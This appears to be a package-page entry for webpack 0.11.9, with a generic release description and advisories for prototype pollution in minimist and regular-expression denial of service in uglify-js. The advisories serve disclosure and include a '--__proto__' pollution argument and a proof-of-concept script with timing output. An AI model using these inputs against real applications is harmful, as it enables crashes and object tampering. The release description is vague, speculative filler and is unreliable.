Webpack version 0.11.9 is a minor update to the popular module bundler, succeeding version 0.11.8. Both versions share the same core functionality, allowing developers to package CommonJs, AMD, and labeled modules for browser deployment. They enable code splitting into multiple bundles for on-demand loading and utilize loaders to preprocess various file types, including JSON, Jade, CoffeeScript, CSS, and Less, offering a flexible asset pipeline.
A key element for developers is the consistent set of dependencies between the two versions, including essential tools like async, clone, mkdirp, esprima, tapable, optimist, uglify-js, webpack-core, base64-encode, enhanced-resolve, and node-libs-browser. This ensures a stable foundation for module bundling tasks. Similarly, the devDependencies remain unchanged, featuring testing libraries like mocha and should, along with loaders for various file formats (css-loader, raw-loader, file-loader, etc.) providing a familiar development environment for users upgrading.
The difference between these versions lies primarily in bug fixes, performance enhancements, or internal updates that don't necessarily introduce new features but improve the overall stability and efficiency of the bundling process. Developers should migrate to version 0.11.9 to benefit from these under-the-hood improvements without needing to adjust their configurations significantly. The release dates indicate only a few hours transpired between versions, therefore the newer version constitutes a recommended immediate update.
All the vulnerabilities related to the version 0.11.9 of the package
Prototype Pollution in minimist
Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.